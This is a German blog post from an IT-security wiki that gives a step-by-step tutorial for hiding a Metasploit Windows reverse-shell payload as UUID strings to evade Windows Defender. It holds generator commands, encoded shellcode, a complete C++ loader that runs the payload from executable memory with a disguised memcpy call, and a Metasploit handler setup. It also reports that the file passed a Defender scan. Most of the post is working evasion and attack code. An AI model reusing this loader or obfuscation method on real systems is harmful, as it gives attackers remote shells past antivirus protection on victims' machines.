Diese Seite ist nicht editierbar. Sie können den Quelltext sehen, jedoch nicht verändern. Kontaktieren Sie den Administrator, wenn Sie glauben, dass hier ein Fehler vorliegt. {{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}} ====== Obfuscation: Shellcode als UUIDs tarnen ====== {{:it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}} Im letzten [[it-security:blog:shellcode_injection-4|Blogpost]] beschäftigten wir uns mit der Entwicklung eines calc.exe Shellcodes. Die Injection-Methode, die ich hierbei zum Testen nutzte, wurde vom Windows Defender sofort blockiert. Somit musste ich Loader und Shellcode entsprechend anpassen. Mir kam die Idee, die OpCodes in ein String-Array umzuwandeln, welches mit [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] gefüllt ist. Diese müssen dann entsprechend vor der Injection wieder in Bytes umgewandelt werden. Hierzu habe ich einen En- und Decoder geschrieben, welcher genau dies macht. ===== Tools ===== Der Encoder ist Teil meines Shellcode-Tools [[https://github.com/psycore8/shencode|ShenCode]], welches als Open-Source zur Verfügung steht. ===== Schritt1: Shellcode vorbereiten ===== ==== erzeugen ==== Wir erstellen ein Payload ohne weitergehende Verschlüsselung bzw. Enkodierung. Dieses wird in der Regel durch Windows Defender erkannt. <code bash> python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw" </code> ==== encoden ==== Dieses Payload encoden wir nun als UUID-Strings. <code bash> python shencode.py encode -f shell_rev.raw -u </code> Die Ausgabe sieht nun in etwas so aus: <code cpp> [*] try to open file [+] reading 240906.001 successful! [*] try to generate UUIDs std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; [+] DONE! </code> ===== Schritt 2: Inject.cpp schreiben ===== ==== Header ==== === verschleierter Shellcode === Wir erstellen ein neues C++ Projekt und übernehmen das verschleierte String-Array, welches wir zuvor erstellt haben. <code cpp> #include <stdio.h> #include <windows.h> #include <iostream> #include <sstream> #include <vector> #include <iomanip> #pragma warning std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; </code> ==== Encoding und Injection ==== === überflüssige Zeichen entfernen === Zunächst benötigen wir eine Funktion, um die ''%%-%%'' Zeichen zu entfernen. Wir übergeben dieser Funktion einen String, welcher dann bereinigt wird. <code cpp> void removeDashes(std::string& str) { str.erase(std::remove(str.begin(), str.end(), '-'), str.end()); } </code> === Strings in Bytes konvertieren === Die nächste Funktion sorgt für die Aufbereitung der UUID Strings in ausführbare Bytes. Das String-Array wird Stück für Stück durchlaufen: * Entfernen von ''%%-%%'' * Lese 2 Zeichen und gib diese als Byte zurück * Wenn das String-Array durchlaufen ist, gib das erzeugte Byte-Array an den Caller zurück <code cpp> std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) { std::vector<uint8_t> byteArray; for (const auto& str : inputStrings) { std::string cleanStr = str; removeDashes(cleanStr); for (size_t i = 0; i < cleanStr.length(); i += 2) { if (i + 1 < cleanStr.length()) { std::string byteString = cleanStr.substr(i, 2); uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16)); byteArray.push_back(byte); } } } return byteArray; } </code> === Hauptprogramm === Das Hauptprogramm initialisiert die Variablen, ruft die Konvertierungsfunktion auf, gibt die Bytes in der Konsole aus und führt anschließend die Injection aus. Um diesen Vorgang etwas zu tarnen, wird die Funktion ''%%memcpy%%'' nicht direkt aufgerufen, sondern über einen Pointer mit unserer eigenen Funktion verknüpft. <code cpp> int main() { std::vector<std::string> input = sID; std::vector<uint8_t> result = convertToBytes(input); unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); size_t byteArrayLength = result.size(); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; for (size_t i = 0; i < byteArrayLength; ++i) { std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " "; if ((i + 1) % 8 == 0) { std::cout << std::endl; } } void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, Payload, byteArrayLength); ((void(*)())exec)(); return 0; } </code> ===== Schritt 3: Funktionalität testen ===== ==== Metasploit handler ==== Wir starten einen Metasploit Handler auf dem Angriffs-System, um die Reverse Shell entgegen zu nehmen: <code ruby> msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 [*] Started reverse TCP handler on 0.0.0.0:15666 </code> ==== Inject.cpp kompilieren ==== Anschließend kompilieren wir unsere Inject.cpp als 64-Bit Programm. Dieses kopieren wir anschließend auf das Opfer-System. Nach dem Kopiervorgang wird die Datei nicht erkannt. Wir scannen diese einmal händisch mit dem Windows Defender. {{it-security:blog:2024-220-1.png}} Das sieht ebenfalls gut aus. ==== Ausführen ==== Wir führen nun die Datei aus und warten auf das Ergebnis. Leider passiert an dieser Stelle auch erstmal nichts, außer Warten. Ein Blick auf den Shellcode verrät auch direkt warum das so ist: <code stylus> "c85fffd5-83f8-007d-2858-68004000006a", </code> Wir haben ein Raw-Payload aus metasploit heraus erzeugt. Dieses enthält eine Menge Null-Bytes und diese verhindern die korrekte Ausführung. Dies war recht ärgerlich, da meine ersten Tests durchliefen. Ich habe den gesamten Vorgang mit dem metasploit internen XOR Encoder wiederholt und Null-Bytes als Bad Character definiert. Hiermit konnte ich die Shell dann spawnen, jedoch wird der XOR Decoder im Speicher erkannt und Windows Defender schlägt Alarm. ===== Fazit ===== Die UUID Verschleierung funktioniert und schützt die Datei beim Festplatten-Zugriff. Nach der Ausführung muss noch ein Speicherschutz her, der die Erkennung verhindert. Dies zeige ich im nächsten Teil. ~~DISCUSSION~~